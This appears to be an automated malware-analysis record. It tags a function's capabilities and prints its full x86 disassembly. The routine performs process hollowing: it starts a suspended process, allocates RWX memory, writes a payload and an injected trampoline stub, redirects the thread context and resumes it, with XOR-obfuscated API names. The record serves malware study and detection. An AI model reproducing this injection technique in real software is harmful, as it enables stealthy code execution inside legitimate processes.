Function at 0x493690
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fd419
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x120
mov eax, dword [0x686bb0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edi, edi
mov dword [ebp - 0x60], edi
push 0x44
mov dword [ebp - 4], edi
call fcn.005f83f1
add esp, 4
mov dword [ebp - 0x8c], eax
push 0x44
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x10
call fcn.005f83f1
mov esi, eax
lea ecx, [ebp - 0x5c]
add esp, 4
mov dword [ebp - 0x64], esi
xorps xmm0, xmm0
movups xmmword [esi], xmm0
call fcn.004914b0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 1
call fcn.00492f40
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 3
mov eax, dword [0x6d4064]
test eax, eax
jne 0x493859
movq xmm0, qword [0x676b2c]
xor edx, edx
mov al, byte [0x676b34]
movq qword [ebp - 0x98], xmm0
mov byte [ebp - 0x90], al
mov dword [ebp - 0x6c], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x6c]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x98], cl
inc edx
mov dword [ebp - 0x6c], edx
cmp edx, 9
jl 0x493760
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x74], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4937b2
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0049ac20
mov byte [ebp - 4], 4
lea edx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
cmovae edx, dword [ebp - 0x84]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4937e8
sub ecx, edi
mov eax, accept
mov edi, dword [ebp - 0x34]
sub eax, edi
cmp eax, ecx
jb 0x494833
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push ecx
cmovae eax, dword [ebp - 0x44]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xb4]
call fcn.0049df30
movups xmm0, xmmword [ebp - 0xb4]
mov edi, 0x1000
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ebp - 0xa4]
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x70]
movq qword [ebp - 0x1c], xmm0
cmp edx, 0x10
jb 0x4939a4
inc edx
cmp edx, edi
jmp 0x49397c
cmp eax, 1
jne 0x4939a4
movq xmm0, qword [0x676b2c]
xor edx, edx
mov al, byte [0x676b34]
movq qword [ebp - 0x98], xmm0
mov byte [ebp - 0x90], al
mov dword [ebp - 0x6c], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x6c]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x98], cl
inc edx
mov dword [ebp - 0x6c], edx
cmp edx, 9
jl 0x493882
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x74], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4938d4
sub ecx, edx
lea eax, [ebp - 0x98]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0049ac20
mov byte [ebp - 4], 5
lea edx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
cmovae edx, dword [ebp - 0x84]
mov ecx, edx
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x493910
sub ecx, edi
mov eax, accept
mov edi, dword [ebp - 0x34]
sub eax, edi
cmp eax, ecx
jb 0x494838
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
push ecx
cmovae eax, dword [ebp - 0x44]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xb4]
call fcn.0049df30
movups xmm0, xmmword [ebp - 0xb4]
mov edi, 0x2000
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [ebp - 0xa4]
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x70]
movq qword [ebp - 0x1c], xmm0
cmp edx, 0x10
jb 0x4939a4
inc edx
cmp edx, 0x1000
mov ecx, dword [ebp - 0x84]
mov eax, ecx
jb 0x49399a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x494803
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov eax, dword [ebp - 0x1c]
inc eax
push eax
call fcn.005f8421
add esp, 4
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
mov edx, eax
cmovae ecx, dword [ebp - 0x2c]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4939c3
mov ecx, dword [ebp - 0x4c]
mov eax, accept
sub eax, ecx
cmp eax, 1
jb 0x49483d
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
push 1
cmovae eax, dword [ebp - 0x5c]
push 0x6755f0
push ecx
push eax
push ecx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xb4]
call fcn.0049df30
or edi, 0x4000
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0xb4]
call fcn.00499440
push esi
push dword [ebp - 0x8c]
or edi, 0x8000
movups xmm0, xmmword [eax]
push 0
push 0
push 4
movups xmmword [ebp - 0x84], xmm0
push 0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x74], xmm0
push 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
push 0
push dword [ebp - 0x6c]
cmovae eax, dword [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [ebp - 0x70]
cmp edx, 0x10
jb 0x493aae
mov ecx, dword [ebp - 0x84]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x493aa4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x493af3
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp edx, 0x10
jb 0x493b03
mov ecx, dword [ebp - 0xb4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x493af9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x493af9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005f7cf7
add esp, 8
push 0x2cc
call fcn.005f83f1
add esp, 4
mov dword [ebp - 0xb8], eax
lea ecx, [eax + 4]
push 0x2c8
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xb8]
add esp, 0xc
push eax
mov dword [eax], 0x1003f
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0xb8]
push 0x40
push 0x1000
push 0x400
mov eax, dword [eax + 0xb8]
push 0
push dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x9c], eax
call esi
push 0x40
push 0x1000
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x64]
push 0x80
push 0
push dword [eax]
call esi
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
mov dword [ebp - 0x88], eax
jb 0x493ba3
mov edx, dword [ebx + 8]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x493b98
sub ecx, esi
jmp 0x493bb2
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x493ba6
sub ecx, edx
lea edx, [ebx + 8]
mov esi, dword [ebp - 0x64]
push 0
push ecx
push edx
push dword [ebp - 0x88]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x676958]
xor edx, edx
cmp dword [0x6d3fec], 2
movq xmm0, qword [str.zXY_vRO_M9]
mov dword [ebp - 0x74], eax
mov al, byte [0x67695c]
lea ecx, [edx + 5]
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 0x70], al
mov dword [ebp - 0x64], edx
jl 0x493d00
movaps xmm2, xmmword [0x677150]
mov eax, 0x1f
movaps xmm3, xmmword [0x6774e0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm4, ecx
psrad xmm1, xmm4
movd xmm5, eax
movaps xmm0, xmm1
mov dword [ebp - 0x64], edx
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x677160]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
movd xmm0, dword [str.zXY_vRO_M9]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.6666666666666666]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x7c], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm1, xmm3
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
movd xmm0, dword [ebp - 0x78]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.6666666666666666]
pxor xmm1, xmm0
movd dword [ebp - 0x78], xmm1
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x64]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x64]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x7c], cl
inc edx
mov dword [ebp - 0x64], edx
cmp edx, 0xd
jl 0x493d00
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xc0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x493d60
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0xd0]
call fcn.0049ac20
mov byte [ebp - 4], 7
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 0x10
movq xmm0, qword [str._RJW_W]
cmovae eax, dword [ebp - 0xd0]
xor edx, edx
cmp dword [0x6d3fec], 2
mov dword [ebp - 0x68], eax
mov eax, dword [0x674fb8]
mov dword [ebp - 0x74], eax
mov al, byte [0x674fbc]
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 0x70], al
mov dword [ebp - 0x64], edx
jl 0x493ed4
movaps xmm2, xmmword [0x677150]
mov eax, 5
movaps xmm4, xmmword [0x6774e0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
mov dword [ebp - 0x64], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.6666666666666666]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x677160]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._RJW_W]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x7c], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x677180]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x6771e0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x78]
pxor xmm1, xmm0
movd dword [ebp - 0x78], xmm1
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x64]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x64]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x7c], cl
inc edx
mov dword [ebp - 0x64], edx
cmp edx, 0xd
jl 0x493ed4
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xa4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa0], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x493f30
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0xb4]
call fcn.0049ac20
cmp dword [ebp - 0xa0], 0x10
lea eax, [ebp - 0xb4]
cmovae eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x64], eax
cmp edx, 0x10
jb 0x493fa7
mov ecx, dword [ebp - 0xb4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x493f9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x493ff2
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
cmp edx, 0x10
jb 0x494002
mov ecx, dword [ebp - 0xd0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x493ff8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x493ff8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x6c]
sub eax, 0xb
push 0x100
mov dword [ebp - 0x64], eax
call fcn.005f8421
mov edx, dword [ebp - 0x9c]
lea ecx, [ebp - 0x78]
add esp, 4
mov dword [ebp - 0x68], eax
mov byte [eax], 0x68
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 1
mov edx, dword [ebp - 0x9c]
mov byte [ebp - 4], 8
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 3]
mov byte [ecx + 1], al
lea ecx, [ebp - 0xa8]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 2
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 4], 9
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 2]
mov byte [ecx + 2], al
lea ecx, [ebp - 0xc4]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 4
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 4], 0xa
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 1]
mov byte [ecx + 3], al
lea ecx, [ebp - 0x130]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 8
mov edx, dword [ebp - 0x88]
mov dword [ebp - 4], 0xb
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax]
mov byte [ecx + 4], al
mov word [ecx + 5], 0x609c
mov byte [ecx + 7], 0x68
lea ecx, [ebp - 0x124]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x10
mov edx, dword [ebp - 0x88]
mov dword [ebp - 4], 0xc
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 3]
mov byte [ecx + 8], al
lea ecx, [ebp - 0x118]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x20
mov edx, dword [ebp - 0x88]
mov dword [ebp - 4], 0xd
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 2]
mov byte [ecx + 9], al
lea ecx, [ebp - 0x10c]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x40
mov edx, dword [ebp - 0x88]
mov dword [ebp - 4], 0xe
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 1]
mov byte [ecx + 0xa], al
lea ecx, [ebp - 0x100]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x80
mov edx, dword [ebp - 0x64]
mov dword [ebp - 4], 0xf
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax]
mov byte [ecx + 0xb], al
mov byte [ecx + 0xc], 0xe8
lea ecx, [ebp - 0xf4]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x100
mov edx, dword [ebp - 0x64]
mov dword [ebp - 4], 0x10
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 3]
mov byte [ecx + 0xd], al
lea ecx, [ebp - 0xe8]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x200
mov edx, dword [ebp - 0x64]
mov dword [ebp - 4], 0x11
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 2]
mov byte [ecx + 0xe], al
lea ecx, [ebp - 0xdc]
call fcn.00492ed0
mov ecx, dword [ebp - 0x68]
or edi, 0x400
mov edx, dword [ebp - 0x64]
mov dword [ebp - 4], 0x12
mov eax, dword [eax]
mov dword [ebp - 0x60], edi
movzx eax, byte [eax + 1]
mov byte [ecx + 0xf], al
lea ecx, [ebp - 0x98]
call fcn.00492ed0
or edi, 0x800
mov dword [ebp - 0x60], edi
mov edi, dword [ebp - 0x68]
mov eax, dword [eax]
push 0xec
push 0
movzx eax, byte [eax]
mov byte [edi + 0x10], al
lea eax, [edi + 0x14]
push eax
mov word [edi + 0x11], 0x9d61
mov byte [edi + 0x13], 0xc3
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x60]
add esp, 0xc
test eax, 0x800
je 0x4942a4
mov ecx, dword [ebp - 0x98]
and eax, 0xfffff7ff
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x4942a4
mov edx, dword [ebp - 0x90]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x494279
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0
test eax, 0x400
je 0x49430e
mov ecx, dword [ebp - 0xdc]
and eax, 0xfffffbff
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x49430e
mov edx, dword [ebp - 0xd4]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4942e3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
test eax, 0x200
je 0x494378
mov ecx, dword [ebp - 0xe8]
and eax, 0xfffffdff
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x494378
mov edx, dword [ebp - 0xe0]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x49434d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
test eax, 0x100
je 0x4943e2
mov ecx, dword [ebp - 0xf4]
and eax, 0xfffffeff
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x4943e2
mov edx, dword [ebp - 0xec]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4943b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0
test al, al
jns 0x494449
mov ecx, dword [ebp - 0x100]
and eax, 0xffffff7f
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x494449
mov edx, dword [ebp - 0xf8]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x49441e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0
test al, 0x40
je 0x4944ae
mov ecx, dword [ebp - 0x10c]
and eax, 0xffffffbf
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x4944ae
mov edx, dword [ebp - 0x104]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x494483
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0
test al, 0x20
je 0x494513
mov ecx, dword [ebp - 0x118]
and eax, 0xffffffdf
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x494513
mov edx, dword [ebp - 0x110]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4944e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
test al, 0x10
je 0x494578
mov ecx, dword [ebp - 0x124]
and eax, 0xffffffef
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x494578
mov edx, dword [ebp - 0x11c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x49454d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
test al, 8
je 0x4945dd
mov ecx, dword [ebp - 0x130]
and eax, 0xfffffff7
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x4945dd
mov edx, dword [ebp - 0x128]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4945b2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
test al, 4
je 0x494642
mov ecx, dword [ebp - 0xc4]
and eax, 0xfffffffb
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x494642
mov edx, dword [ebp - 0xbc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x494617
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0
test al, 2
je 0x4946a3
mov ecx, dword [ebp - 0xa8]
and eax, 0xfffffffd
mov dword [ebp - 0x60], eax
test ecx, ecx
je 0x4946a3
mov edx, dword [ebp - 0xa0]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x494678
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4946cd
push edx
push ecx
call fcn.005f7cf7
mov eax, dword [ebp - 0x60]
add esp, 8
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
test al, 1
je 0x4946f2
mov ecx, dword [ebp - 0x78]
test ecx, ecx
je 0x4946f2
mov edx, dword [ebp - 0x70]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4946d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4946d3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
push 0
push 0x100
push edi
push dword [ebp - 0x6c]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x6c]
push eax
mov dword [eax + 0xb8], ecx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x44
push dword [ebp - 0x8c]
call fcn.005f7cf7
push 0x10
push esi
call fcn.005f7cf7
push 1
push edi
call fcn.005f7cf7
mov eax, dword [ebp - 0x18]
add esp, 0x18
cmp eax, 0x10
jb 0x49477d
mov edx, dword [ebp - 0x2c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x494773
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x494803
push ecx
push edx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
jb 0x4947ad
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4947a3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x494803
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x4947dd
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4947d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x494803
push edx
push ecx
call fcn.005f7cf7
add esp, 8
mov edx, dword [ebx + 0x1c]
cmp edx, 0x10
jb 0x494813
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
